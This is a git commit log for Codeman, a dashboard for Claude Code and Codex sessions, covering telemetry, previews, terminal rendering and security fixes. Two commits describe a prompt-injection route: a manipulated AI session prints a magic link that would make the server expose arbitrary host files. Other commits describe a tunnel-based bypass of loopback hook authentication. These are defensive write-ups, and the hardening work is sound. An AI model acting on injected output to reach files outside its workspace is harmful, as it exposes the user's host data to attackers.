adversarial multi-agent findings:

- fix(preview): render auto-detected (workspace, unregistered) DOCX/PPTX via
  the file-preview route and PDFs via file-raw in openFilePreview. Previously
  the Preview button fell through to file-content, dumping the binary Office/PDF
  bytes as mojibake, and the new file-preview route was unreachable dead code.
  (MAJOR: file-preview-route-unreachable-detected-office)

- perf(convert): add a global converter-concurrency limiter
  (document-conversion-limiter.ts) wrapping every pdftoppm / soffice /
  powershell spawn, so N simultaneous preview/thumbnail requests can no longer
  fork unbounded converter processes. Default cap 3, CODEMAN_MAX_DOCUMENT_CONVERSIONS.
  (MAJOR: no-converter-concurrency-limit)

- fix(cache): bound the converted-PDF disk cache with LRU-by-mtime eviction
  (pruneDocumentPreviewCache, default 100 files, CODEMAN_MAX_PREVIEW_CACHE_FILES),
  run after each successful conversion. Was unbounded.
  (MAJOR/MINOR: preview-cache-unbounded-disk-growth)

Tests: document-conversion-limiter.test.ts, document-preview-cache-eviction.test.ts,
and route coverage for the four new endpoints in
routes/file-routes-preview-thumbnail.test.ts (closes the missing-route-test gap).
Verified end-to-end against real pdftoppm (thumbnail render + concurrency cap).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 08:43:57 +02:00
Tenggan ZhangandTeigen 99e537ef1a feat(settings): add Opus 4.6 model options to Claude Model picker (#124)
Add claude-opus-4-6[1m] (1M context) and claude-opus-4-6 to the model
selector dropdown.

Co-authored-by: Teigen <teigenzhang@gmail.com>
2026-06-14 08:13:13 +02:00
arkonandClaude Opus 4.8 67c7973aa5 docs: document plan-usage telemetry feature in CLAUDE.md
- New "Plan-usage chip" Key Pattern: statusLine telemetry (rate_limits) →
  injected statusLine exporter → POST /api/status-telemetry (auth-exempt) →
  usage-telemetry.ts parse → SSE session:statusTelemetry → opt-in header chip,
  with plan-usage-latest.ts replaying the last value in the SSE init snapshot.
- Architecture map: add src/usage-telemetry.ts + src/web/plan-usage-latest.ts;
  bump route modules 15→16 and handlers ~136→~140 (status-telemetry route,
  attachment file routes).
- Security: note /api/status-telemetry shares the hook auth-bypass path.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 07:34:02 +02:00
arkonandClaude Opus 4.8 534712e50f fix(usage): address code-review findings in plan-usage telemetry
Review of the plan-usage chip feature (commits since 1.0.0) surfaced several
issues; this fixes all confirmed findings:

- HIGH: applyStatusLineConfig clobbered a user's hand-authored statusLine on
  the enable path (the isOurs guard only protected disable). Now bails out when
  an existing statusLine isn't ours, on both the enable and disable paths.
- MED: StatusTelemetrySchema used z.optional() (rejects null) on Claude's
  undocumented statusline fields — a single stray null 400'd the entire POST and
  silently killed the chip's data feed. Switched the modeled fields to .nullish().
- MED: dropping the Token Count / Show Cost header toggles left their features
  reading settings.showTokenCount/showCost, but saveAppSettings rebuilds settings
  fresh from the DOM, dropping those keys and resetting them to defaults on every
  save (re-enabling the token chip with no UI to turn it off). Preserve the prior
  stored preference.
- telemetrySignature keyed on contextUsedPercentage (never displayed) and the raw
  unrounded %, churning a redundant SSE broadcast + localStorage write + identical
  chip re-render on every assistant message. Now keys on the rounded displayed
  window values only.
- Plan-usage chip flashed hidden on load (no server-side reveal): renderIndexHtml
  now strips header-plan-usage--hidden when enabled, matching btn-multimonitor;
  fixes the FOUC and makes the "server renders initial state" comments accurate.
- Serialize all settings.local.json read-modify-write writers in hooks-config via
  a shared per-path mutex (previously lock-free; concurrent session-create +
  settings-toggle on the same repo could lose writes).
- Hardened the chip's innerHTML against any future string field; removed the dead
  _latestPlanUsage field; clamped ctx% in the footer formatter; corrected the
  session-create comment (the path is add-only by design — a per-repo settings
  file is shared by sibling sessions).
- Tests: new test/routes/status-telemetry-routes.test.ts (route behavior, dedup,
  null-tolerance) + NaN/Infinity/fractional and signature-churn unit tests; made
  server-index-title.test.ts deterministic against the ambient settings.json.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 07:33:52 +02:00
arkonandClaude Opus 4.8 f69cd4874c feat(settings): drop Token Count + Show Cost header toggles, move Plan Usage Limits to top
The header Token Count and Show Cost ($) display options are superseded by the
Plan Usage Limits chip, so remove both toggles from App Settings → Header
Displays along with their read (populate) and write (save payload) wiring in
settings-ui.js. Relocate the Plan Usage Limits toggle to the top of the section
for easier access.

Header token-chip render logic is left intact (toggles-only change): the chip
keeps its existing default behavior, it's just no longer user-toggleable.

Verified e2e against an isolated instance with Playwright: section now leads
with Plan Usage Limits; Token Count/Show Cost elements are gone; openAppSettings
(populate) and saveAppSettings (payload build) run with no console errors.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 06:44:42 +02:00
arkonandClaude Opus 4.8 1ac3c09054 docs(usage): update plan-usage design doc to match what shipped
Rewrite to the as-built design: header chip (account limits, green/yellow/red)
+ session-status footer split; fixed /api/status-telemetry endpoint; curl -sk;
add-only create injection + settings-toggle reconcile; no CASES_DIR gate; chip
robustness (live SSE + init-snapshot replay + localStorage); and the E2E bugs
that earlier builds hid. Status: shipped/pushed, not released.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 06:28:11 +02:00
arkonandClaude Opus 4.8 95fb5fc226 feat(usage): replay last-known plan usage in the SSE init snapshot
The header chip previously only repopulated on reload from per-browser
localStorage, so a fresh browser (or cleared storage) stayed blank until a
session next rendered telemetry. Store the latest broadcast telemetry
process-wide (plan-usage-latest.ts) and include it as `planUsage` in
getLightState — the per-connection SSE init snapshot — so handleInit paints
the chip immediately on every fresh load / reconnect, authoritative over the
localStorage restore. Null until the first telemetry of the process.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 06:15:34 +02:00
arkonandClaude Opus 4.8 eae225bf9a fix(usage): make plan-usage chip work for every user, not just on enable
Two changes so the feature works for any user the moment they enable it,
without manual steps or per-client state:

- Reconcile on settings change: PUT /api/settings now applies the statusLine
  exporter across all ACTIVE Claude sessions' working dirs when
  showPlanUsageLimits is toggled (inject on enable, remove on disable). This is
  server-side and authoritative, so existing sessions get the footer + feed the
  chip immediately — no need to create a new session, no dependency on a
  browser's synced localStorage.

- Create is now ADD-ONLY: never remove the statusLine on session create.
  Sessions in a repo share one settings.local.json, so a single create-with-false
  (e.g. a client whose synced setting hadn't loaded) was yanking the statusLine
  out from under all other live sessions in that repo, killing their footer and
  the chip's data feed. Removal now happens only via the explicit settings toggle.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 06:00:30 +02:00
arkonandClaude Opus 4.8 4d9d93dfff fix(usage): make plan-usage chip work end-to-end + session-status footer
End-to-end testing on the real install surfaced several issues the unit
tests missed:

- Injection gate excluded real sessions: gated on workingDir under CASES_DIR,
  but sessions run in linked cases / real repos. Drop the gate (match
  updateCaseModel, which writes settings.local.json unconditionally).
- statusLine curl failed on HTTPS: prod is loopback HTTPS with a self-signed
  cert; `curl -s` returns 000. Use `curl -sk` (loopback only). applyStatusLineConfig
  now also updates an out-of-date ours-command so the fix propagates.
- Footer hijacked by limits: the in-terminal statusline now shows CURRENT
  SESSION status — `Opus 4.8 (1M context)  in:562,411 out:1,188  ctx:56%` —
  while the account-wide plan limits live only in the header chip.
- Chip blank after reload: persist last-known to localStorage and restore on
  load (account-global, slow-moving; 12h freshness guard).
- Readability + color: per-window green/yellow/red by usage (<60 / 60–84 / ≥85),
  bolder labels and values.
- Drop the renderIndexHtml strip (client-side reveal only, response-viewer
  pattern) — fixes server-index-title test fragility to local settings.

Footer fields flow through context_window.total_input_tokens/total_output_tokens
(schema + parser). Tests updated; verified live (footer, chip, colors, reload
persistence) on the real install.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 05:44:54 +02:00
arkonandClaude Opus 4.8 c82f6c802e feat(usage): plan usage limits header chip via statusLine telemetry
Surface Claude subscription plan usage limits (5-hour rolling + 7-day
weekly: percent used + reset time) in the header, opt-in via App Settings
→ Display → "Plan Usage Limits" (default OFF, no behavior change when off).

A Codeman-managed Claude statusLine exporter forwards the rate_limits JSON
to a new auth-exempt POST /api/status-telemetry (same loopback + hook-secret
gate as /api/hook-event); parsed telemetry broadcasts over SSE
session:statusTelemetry to a header chip (amber >=80%, red >=95%, reset
times on hover). The exporter prints the same summary back as the
in-terminal footer (print-through).

- src/usage-telemetry.ts: pure parser/formatter (epoch-sec -> ms, clamp,
  change signature) + test/usage-telemetry.test.ts
- hooks-config.ts: generateStatusLineCommand + applyStatusLineConfig
  (add/remove; never clobbers a user's own statusLine)
- session-routes.ts: inject gate (Claude-only, Codeman-managed cases),
  driven by create-payload statusLineTelemetry (session-ui.js)
- schemas.ts: StatusTelemetrySchema + showPlanUsageLimits + payload field
- frontend: header chip, applyHeaderVisibilitySettings toggle,
  renderIndexHtml strip, _onSessionStatusTelemetry handler

Schema empirically confirmed against Claude Code 2.1.177 (Claude Max):
only five_hour/seven_day windows exist (no Opus-weekly field); rate_limits
is absent before the first API response and for non-subscriber auth. Design
+ verification method in docs/usage-limits-display-plan.md.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 05:00:28 +02:00
arkonandClaude Fable 5 0809f59f0f chore: version packages — Codeman 1.0.0
Bumps aicodeman 0.9.14 → 1.0.0 (theme skins + first stable release).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-13 23:30:34 +02:00
arkonandClaude Fable 5 eda95adaa9 feat(ui): theme skins — OG Codeman, Daylight Green, Daylight Blue
Add a per-device skin switcher in App Settings → Display:
- Three skins via html[data-skin]: og (original Codeman look),
  daylight-green, and daylight-blue (new default). Per-skin CSS-variable
  token blocks; the v1.0 "Carbon Aurora" component polish is scoped to
  non-og skins and parameterized so green/blue differ only by token values.
- Self-hosted Manrope (UI) + JetBrains Mono (terminal) variable fonts,
  served from /fonts (no external CDN, CSP-safe via font-src 'self').
- Per-skin xterm terminal theme with live re-theming of open terminals on
  skin change; skin-aware --term-bg so the terminal background fills cleanly
  (fixes the variable-height gap above the toolbar).
- Pre-paint inline script applies the saved skin before first paint (no
  flash); persisted per-device in localStorage + the settings blob, and
  kept out of the server settings payload (device-local).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-13 23:21:47 +02:00
Teigen 41a209e96d fix(cjk): hide CJK textarea on welcome screen and fix vertical centering
- Guard `_updateCjkInputState()` with `activeSessionId` check so the
  `position: fixed` CJK textarea doesn't float over the welcome overlay
- Call `_updateCjkInputState()` in `showWelcome()`/`hideWelcome()` to
  sync CJK visibility on session enter/leave
- Add `padding: 12px 10px` to `.cjk-input-visible textarea` for proper
  vertical centering of input text
2026-06-13 18:49:57 +08:00
Teigen 7102fdb23a fix(mobile): restore response-viewer eye button on phones
The header-right tray (02fa3f3) was reworked into a position:fixed
collapsible panel with a hamburger toggle, but the toggle button, its
JS, and CSS were later reverted on master while the container kept a
static `mobile-collapsed` class. With no expand mechanism left, the
header-right stayed display:none on mobile, so the response-viewer eye
icon was unreachable even with "Response Viewer" enabled — desktop was
fine because the media-query rule doesn't apply there.

Restore the simple inline always-visible header-right layout (dev's
known-good state). The showResponseViewer setting still controls the
eye's --hidden marker class.

Verified on iPhone viewport: eye visible (26x26) with setting on, hidden
with setting off, tap opens the viewer; desktop eye unaffected.
2026-06-13 18:49:11 +08:00
Aamer Akhter 49c92e4723 COD-38 document attachment previews + thumbnails (attachment cards)
Builds on the COD-37 registry: surfaces detected/registered attachments as
dismissible cards with a first-page thumbnail and an inline preview — the
consumer the registry PR deliberately deferred.

Backend:
- document-thumbnailer: first-page PNG thumbnails (PNG passthrough; PDF via
  pdftoppm; Office via the preview cache).
- document-preview-cache: disk-cached DOCX/PPTX -> PDF conversion (LibreOffice
  / PowerShell COM), in-flight dedup, multi-converter fallback.
- file-routes: serveConvertedPreview / serveThumbnail + four routes —
  GET .../attachments/:id/preview, .../thumbnail and the workspace-path
  file-preview / file-thumbnail. Reuses the registry's TOCTOU-safe
  resolveServableAttachmentPath, so previews stream the freshly-resolved path.
- server: enrich detected attachment events with a thumbnail route.
- image-watcher: .png now routes to attachment:detected — this PR adds the card
  consumer, so the screenshot popup is no longer its only handler.

Frontend:
- panels-ui: attachment cards (addAttachmentCard, lazy stack, Clear-all,
  per-session cleanup) plus a 3-arg openFilePreview that renders registered
  attachments inline (image/PDF) or via the server-converted PDF (docx/pptx).
- app.js: wire attachment:detected -> _onAttachmentDetected and card state.
- styles: attachment-card + stack styling.

Verified: tsc / eslint / prettier / frontend-syntax clean; new thumbnailer +
preview-cache unit tests pass; full test:ci green (2861 passed); card render +
preview overlay + dismiss verified in-browser.
2026-06-12 09:09:14 -04:00
Ark0N 3f2c23cb0f Merge pull request #119 from aakhter/pr/cod-37-attachments
Add server-side attachment pipeline (registry, magic-link, path guard)

Review fixes (2767e80): force-confine the terminal magic-link scan path to the
session workspace (closes a prompt-injectable arbitrary host-file read primitive
that broadcast over SSE); keep PNG on the image-popup path (the attachment UI
consumer is out of scope, so rerouting it broke the screenshot popup); serve the
re-resolved path (TOCTOU); 50MB raw cap; per-session registry cap; CLI .env via
dataPath(). Documented in security-architecture.md.
2026-06-11 10:32:34 +02:00
arkon f7ce8e4767 fix(attachments): harden registry + close magic-link injection vector
Security (MAJOR): the terminal-output codeman://attach scanner registered any
matching path server-side with no user confirmation and broadcast the rawUrl
over SSE. Terminal output is attacker-influenceable (a prompt-injected session
can print an arbitrary path), so on the default no-auth deployment this was an
arbitrary host-file (png/pdf/docx/pptx/md/txt) read primitive reachable by any
SSE client. Magic-link registration is now force-confined to the session
workspace (forceWorkspaceConfinement) regardless of the global confine setting;
deliberate cross-workspace attach still works through the explicit,
Origin-guarded POST /attachments route and 'codeman attach' (which POSTs
directly inside a managed session). Documented in security-architecture.md.

Regression (MAJOR): .png was rerouted from the image-popup path to
attachment:detected, which has no frontend consumer — silently breaking the
dropped/pasted-screenshot popup. PNG stays on image:detected; only pdf/docx/pptx
(which never had a popup) emit attachment:detected.

Also:
- raw route streams the freshly-resolved path, not the stored one, so a
  post-registration symlink swap can't redirect the stream (TOCTOU).
- 50MB cap on the attachment raw route, matching file-raw / download.
- per-session attachment registry cap (200) to bound the POST path.
- CLI reads creds via dataPath('.env'), honoring CODEMAN_INSTANCE.

Tests: forced-confinement reject/allow cases; PNG popup-path assertions updated.
2026-06-11 10:27:09 +02:00
Aamer Akhter f1c64994ad COD-37 add server-side attachment pipeline (registry, magic-link, path guard)
Adds the foundation for serving local files to the browser as live external
attachments with a stable id, so requests never carry arbitrary absolute paths.

- attachment-registry: in-memory, session-scoped registry. registerExternalAttachment
  validates an absolute path, resolves symlinks, enforces the path guard, and mints
  an `att_<uuid>` id; records are cleared when the session is removed.
- attachment path guard: a configurable blocklist (secret locations + /root,/etc
  trees, extendable via attachmentBlockedPaths / CODEMAN_ATTACHMENT_BLOCKED_PATHS)
  plus an optional, default-off workspace-confinement mode. Shares one
  sensitive-path blocklist (web/sensitive-path.ts) with /api/download, which is
  refactored to use the extracted module instead of an inline copy.
- terminal magic links: the session scans output for codeman://attach?path=... and
  emits `attachmentRequested`; the web server registers the file and broadcasts an
  `attachment:detected` SSE event. `codeman attach <path>` (CLI) prints the magic
  link or POSTs directly when a session id is known.
- image watcher: detects png/pdf/docx/pptx dropped into a session's working dir and
  emits `attachment:detected`.
- routes: POST /api/sessions/:id/attachments (register) and
  GET /api/sessions/:id/attachments/:attachmentId/raw (serve), both re-checking the
  guard before streaming.

Document previews/thumbnails and the attachment-history drawer build on this
foundation and land separately.

Verified: tsc --noEmit, lint, format, frontend-syntax, full test:ci (2846 passed),
and a server boot smoke (/api/status 200).
2026-06-11 10:27:09 +02:00
Ark0N 12c8e080c1 Merge pull request #118 from aakhter/pr/cod-81-snapshot
feat(terminal): snapshot-replay on tab switches (xterm serialize + live pane capture)

Review fixes (9893a7f): bounded/hardened xterm snapshot persistence — shell-session skip, true LRU eviction, localStorage quota-deadlock fix with evict-and-retry, OSC-strip regex tightened.
2026-06-11 10:22:59 +02:00
arkon 9893a7f64a fix(terminal): bound + harden xterm snapshot persistence
- Skip snapshot save for shell sessions (restore is gated on mode!=='shell',
  so they only burned a serialize() + cache slot + localStorage quota).
- In-memory cache: delete-before-set so eviction is true LRU, not FIFO that
  could drop the most-recently-used session.
- localStorage: extract _persistXtermSnapshot — evict to a fixed key budget
  regardless of session liveness (the old prune only dropped dead keys, so
  >10 live sessions at the 20-session target deadlocked the quota) and
  evict-and-retry on quota errors (the old prune ran only after a successful
  setItem, so a full quota permanently disabled persistence).
- Tighten the OSC-strip regex in _isUsableXtermSnapshot to stop at ST.
- Update the structural test's usability-gate assertion to not depend on a
  fixed byte window.
2026-06-11 10:16:47 +02:00
Aamer Akhter 5b2da424a1 feat(terminal): snapshot-replay on tab switches (xterm serialize + live pane capture)
Switching away from a session and back replayed only the server's byte
history. For TUI modes (codex especially) that shows just the latest
repaint — the idle banner — because the TUI drops earlier conversation
from its current frame. This restores the actual on-screen view.

Two complementary mechanisms:

- Client: load xterm's SerializeAddon and snapshot the rendered state
  (viewport + scrollback + colors) per session on switch-away, restoring
  it for an instant first paint on switch-back. The snapshot is only the
  first paint — the canonical /terminal frame is still fetched and
  reconciled (restoredSnapshot/clearedForBusy force the replay). Snapshots
  are LRU-bounded in memory (<=20) and persisted to localStorage
  (<=256KB each, <=10 sessions, stale-pruned) so they survive tab discard.

- Server: GET /api/sessions/:id/terminal prepends the live tmux pane
  buffer (via the existing captureActivePaneBuffer) ahead of the byte
  history, cleared between, so replay reflects the current frame.

Also fix formatPaneSnapshot dropping the rightmost column of every
captured row: it painted to cols - 1 out of caution about last-column
autowrap, but every row is followed by an absolute cursor-position CSI
that cancels xterm's pending-wrap, so painting the full width is safe.

The SerializeAddon is built from @xterm/addon-serialize (new dependency)
into the vendor bundle by postinstall.js (dev) and build.mjs (prod),
matching how the other xterm addons are vendored.
2026-06-10 19:56:30 -04:00
Ark0N aa84447899 Update README to include 'Terminal' in description 2026-06-11 00:38:34 +02:00
Ark0N a0e1a2e33b Update README.md 2026-06-11 00:36:51 +02:00
arkonandClaude Fable 5 6da22f0db0 chore: version packages
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 23:06:12 +02:00
Ark0N dc9c4b3bda Merge pull request #117 from aakhter/pr/cod-86-codex-frontend
fix(codex): smaller first-frame write budget + scroll-up grace for codex
2026-06-10 22:59:40 +02:00
Ark0N 1cf5c8c8ad Merge pull request #116 from aakhter/pr/cod-35-codex-polish
fix(codex): strip alt-screen + scrollback-erase from the codex byte stream
2026-06-10 22:52:02 +02:00
arkonandClaude Fable 5 7eda39e7f7 fix(codex): reassemble chunk-split sequences before the strip; mouse parity on replay
Review fixes:

- Hold back a trailing partial CSI (digit-only intro, ≤7 chars) in
  _handleTerminalOutput and prepend it to the next chunk. PTY chunk
  boundaries are arbitrary, so '\x1b[?1049h' can arrive as '\x1b[?104' +
  '9h' — the per-chunk strip misses it, xterm obeys the reassembled toggle,
  and (with the matching ?1049l stripped) stays stuck in the scrollback-less
  alt buffer until the next replay. Complete sequences are never held; the
  carry resets with the other buffers in _resetBuffers.

- Replay path now also strips mouse-tracking enables (?1000-?1007), matching
  the live strip: buffers persisted BEFORE the live strip existed can still
  carry them, and a replayed ?1006h re-hijacks the scroll wheel.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 22:47:02 +02:00
Ark0N f0db5f827f Merge pull request #115 from aakhter/pr/cod-78-security
feat(security): hook-event auth secret + tunnel password guard
2026-06-10 22:36:47 +02:00
arkonandClaude Fable 5 aa4e1ce9cf fix(security): deliver the hook secret to hooks + isolate its rate-limit bucket
Review fixes for COD-54:

- Generated hook curl commands now present X-Codeman-Hook-Secret, read from
  the secret file AT EXECUTION TIME via $CODEMAN_HOOK_SECRET_FILE (exported
  into every managed session's env by tmux buildEnvExports / the direct-PTY
  env builders). Without this, every local hook 401'd the moment a managed
  tunnel came up — the enforcement existed but nothing presented the secret.
  Path-not-value keeps the secret off command lines and out of config files,
  and running sessions pick up a newly generated secret with no respawn;
  server.start() ensures the file exists up front.

- Hook-secret failures now count into a DEDICATED per-IP bucket
  (hookSecretFailures) instead of the shared authFailures map. Legacy
  (pre-secret) hook configs fire constantly from 127.0.0.1; counting their
  401s against the shared bucket would 429 every cookie-less loopback
  request — locking out the Basic-Auth login path (and, through a tunnel,
  every client, since tunneled traffic also arrives as 127.0.0.1).

- docs/security-architecture.md: secret-gated hook exemption, dedicated
  bucket, COD-55 refusal, and the residual caveat for EXTERNAL loopback
  proxies (user-run cloudflared / tailscale serve), which the
  managed-tunnel probe cannot see.

- test/cod54-hook-event-auth.test.ts: +3 tests — login path unaffected
  after hook-bucket exhaustion; generated hooks reference the header +
  $CODEMAN_HOOK_SECRET_FILE without embedding the value; env builders
  export the path only.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 22:31:09 +02:00
arkonandClaude Fable 5 b8cb4670dd fix(mobile,respawn-ui): unbury the session-options modal on phones; regroup the Respawn tab
Mobile fixes (user-reported: stuck in Session Options with no way to close):
- Modals now stack at z-index 1300, above the fixed mobile/tablet header
  (z-index 1200) that was burying the modal header and its close button —
  the full-screen modal was undismissable on phones
- Duration presets collapse to one compact 24px row (was a 3-row grid)
- Hide the tab detach (open-in-new-window) button on viewports <=768px

Respawn tab regrouped so its two features read as separate options:
- New green-tinted "Respawn loop" box wraps duration, presets, cycle
  steps, and the status/Enable row — a visual sibling of the blue
  auto-resume box; includes a short explanation of the loop
- Enable/status row moved from the top of the tab to the bottom of the
  box, so it no longer reads as a modal-level confirm button
- Font sizes unified: feature titles match; step checkboxes (2./3.)
  match the step labels (1./4.); "Respawn Cycle" renamed "Cycle Steps"

CLAUDE.md: add usage-limit-patterns.ts to the Session row; app.js ~3.7K

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 21:37:44 +02:00
arkonandClaude Fable 5 4a33b91107 chore: version packages
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 20:56:24 +02:00
arkonandClaude Fable 5 28b531fa5b revert(session): drop the cross-device needsRefresh buffer reload
The post-takeover/re-assert needsRefresh made multi-client redraws worse
in practice (fragmented mixed-width frames on the phone) — reverted to
the behavior the user verified as good: cross-device reflows rely on
Ink's own redraw, stale scrollback scrolls away with new output.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 20:50:24 +02:00
arkonandClaude Fable 5 68310619a7 feat(session,mobile): auto-resume on usage limit + mobile view fixes
Auto-resume on usage limit ("token pause" control, opt-in checkbox at the
top of the Respawn tab, off by default):
- usage-limit-patterns.ts (new, pure): detects all Claude Code limit
  messages (1.0.x-2.1.x eras incl. "5-hour limit reached - resets 8pm",
  "You've hit your limit - resets 1:40pm (TZ)", weekly date forms, raw
  "usage limit reached|<epoch>") and parses the reset time. Conservative:
  no parseable future reset time, no action.
- SessionAutoOps: arms a timer at reset+2min, sends Esc (dismisses the
  rate-limit dialog) + "continue"; dedups footer redraws, retries every
  5min on stale times, cancels when Claude starts working, persists and
  re-arms across Codeman restarts (SessionState.autoResumeEnabled/At).
- Respawn guard: cycles are blocked while limit-paused so /clear cannot
  wipe the paused conversation (respawnBlocked reason 'usage_limit').
- POST /api/sessions/:id/auto-resume; SSE session:limitPauseScheduled/
  limitResume/limitResumeCancelled; toasts + status line in the modal.
- Respawn tab tidied: single-row prompt fields, merged behavior row.

Mobile fixes (0.9.8 regressions, user-reported):
- Resize arbitration is now activity-based: a desktop sizing claim only
  blocks phone resizes while the desktop typed within 90s
  (Session.DESKTOP_CLAIM_IDLE_MS). Idle desktop -> phone takes the pane;
  next desktop keystroke re-asserts the desktop layout server-side
  (noteDesktopActivity via ws-routes input). Phones re-send dims every
  30s (visible tab only, skipped while the keyboard is open) so attaching
  under a hot claim self-corrects. Fixes the desktop-width-stream-in-
  narrow-xterm soup (mid-word wraps, tmux dot fill, Ink overdraw).
- Cross-device reflows (takeover/re-assert) emit a debounced needsRefresh
  so all clients reload the buffer instead of stacking ghost Ink frames.
- Keyboard accessory/toolbar lift restored: measure keyboardOffset
  against window.innerHeight (layout viewport), not the shrunken .app -
  on iOS the offset computed to 0, leaving both bars hidden behind the
  OS keyboard with a dead gap above.
- Removed the mobile header utility ("three dots") toggle entirely;
  the headerRight tray stays collapsed on small viewports.

Tests: usage-limit-patterns (36), session-auto-resume (21), resize
arbitration (+6), session routes (+4), respawn guard (+2); MockSession
auto-resume/sizing stubs; mobile tabs test updated for toggle removal.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 20:41:34 +02:00
Aamer AkhterandSaqeb Akhter fe821fb679 fix(codex): smaller first-frame write budget + scroll-up grace for codex
Two render-polish fixes for codex sessions in the terminal write pipeline:

- flushPendingWrites uses a 32KB first-frame budget for codex (vs 64KB for
  other modes). Codex's TUI emits dense synchronized redraws during
  thinking/high-effort phases; a smaller first frame keeps per-frame
  xterm/WebGL stalls short and avoids multi-second main-thread blocks.

- Sticky-scroll now honours a short grace window after a manual scroll-up
  gesture (USER_SCROLL_STICKY_SUPPRESS_MS = 1500ms). High-frequency codex
  "Working (Ns)" status ticks were snapping the viewport back to the bottom
  while the user tried to read earlier output. The wheel/touch scroll
  handlers record the gesture (_noteTerminalUserScroll); flushPendingWrites
  suppresses the auto-scroll-to-bottom and restores the preserved viewport
  via scrollToLine while the grace window is active.

Adds test/terminal-flush-budget.test.ts (vm-sandbox harness over
terminal-ui.js): codex vs non-codex first-frame budget, buffer-load
ownership, and the scroll-up suppression / viewport restore.

Co-Authored-By: Saqeb Akhter <saqeb.akhter@gmail.com>
2026-06-10 13:34:45 -04:00
Aamer AkhterandSaqeb Akhter d7606366a2 fix(codex): strip alt-screen + scrollback-erase from the codex byte stream
Codex's TUI emits alternate-screen toggles (DECSET/DECRST 47/1047/1049),
scrollback-erase (CSI 3 J), and mouse-tracking enables (?1000-1007) during
startup and on every repaint. xterm.js obeys them: it switches to the
scrollback-less alternate buffer, wipes saved lines, and forwards the scroll
wheel to codex — so the user's conversation history both disappears and
becomes unreachable on each tab switch / pane refresh.

Strip these sequences in two places, leaving the visible-viewport erases
(2J / J) intact so codex can still repaint its own rows:

- Session._handleTerminalOutput: filter the live SSE/WS stream and the
  persisted terminal buffer at the source, for mode === 'codex'.
- GET /api/sessions/:id/terminal: apply the same strip to the replayed
  buffer (ALT_SCREEN_TOGGLE_PATTERN / ERASE_SCROLLBACK_PATTERN) so a
  tab-switch replay keeps full scrollback.

Adds test/codex-terminal-output.test.ts covering the strip (alt-screen and
3J removed, 2J/J preserved, Ctrl+L redraws preserved) and confirming codex
output passes through without Ink row-repair mangling.

Co-Authored-By: Saqeb Akhter <saqeb.akhter@gmail.com>
2026-06-10 13:18:45 -04:00
Aamer Akhter 42f0b28c75 feat(security): hook-event auth secret + tunnel password guard
Two hardening fixes for the public-tunnel exposure path (COD-54 / COD-55).

COD-54 — gate the /api/hook-event localhost bypass when a tunnel is up:
`cloudflared --url http://127.0.0.1:port` proxies internet traffic INTO the
loopback origin, so a tunneled hook request arrives with req.ip === 127.0.0.1
and the old bare-localhost bypass would pass it unauthenticated. Now:
- tunnel running  → bypass requires a shared per-instance hook secret
  (X-Codeman-Hook-Secret header; constant-time compare) + per-IP rate limiting
- tunnel not running (loopback-only, the normal case) → unchanged, so
  already-deployed credential-less hooks keep working.
New src/config/hook-secret.ts; auth middleware takes a getTunnelRunning probe
(wired from server.ts via tunnelManager.isRunning()).

COD-55 — refuse starting the Cloudflare tunnel without auth:
enabling the tunnel publishes full terminal control to a public URL; with no
CODEMAN_PASSWORD the auth middleware is inactive and the bind guard never trips
(tunnel binds loopback). PUT /api/settings now refuses tunnelEnabled:true with a
403 (before persisting) unless CODEMAN_PASSWORD is set or
CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1 is acknowledged. New
isUnauthenticatedNetworkAcknowledged() in network-auth-policy; settings-ui
surfaces the refusal as an error toast and reverts the toggle.

Scope: the always-on CSRF/Origin guard, Host-header allowlist, and
network-auth-policy itself are already upstream (#113) and not re-proposed here.

Verification: tsc, eslint, prettier, check:frontend-syntax clean; full test:ci
green (2723 passed), incl. test/cod54-hook-event-auth and
test/routes/system-routes-tunnel-guard.
2026-06-10 12:25:26 -04:00
arkonandClaude Fable 5 055f18fb66 chore: version packages
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 18:20:28 +02:00
arkonandClaude Fable 5 cf2a7f54bf docs(readme): final header tagline — One Dashboard • Any Device (en + zh)
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 18:09:22 +02:00
arkonandClaude Fable 5 beeec63f72 fix(terminal): linear-time link-provider regex; always allow blob workers in CSP
cmdPattern's empty-matchable unbounded arg group backtracked exponentially
on wrapped heredoc/table lines — hovering one froze the tab for minutes.
Non-empty tokens + bounded reps make it O(n); regression test extracts the
shipped patterns and pins timing on the real killer shapes.

worker-src 'self' blob: is now unconditional so terminal-ui's _safeYield
tick worker (throttling escape) isn't CSP-blocked on non-gesture installs.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 18:06:45 +02:00
arkonandClaude Fable 5 fad32eeaab chore: version packages
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-06-10 17:16:13 +02:00
arkonandClaude Fable 5 c1458d8ab8 feat(self-update): launchd-daemon supervisor — rootless restart on headless Macs
A KeepAlive system-level LaunchDaemon (the right setup for headless Macs,
where no GUI login means LaunchAgents never start) is now detected as
supervisor 'launchd-daemon': the updater kills the server PID (passed via
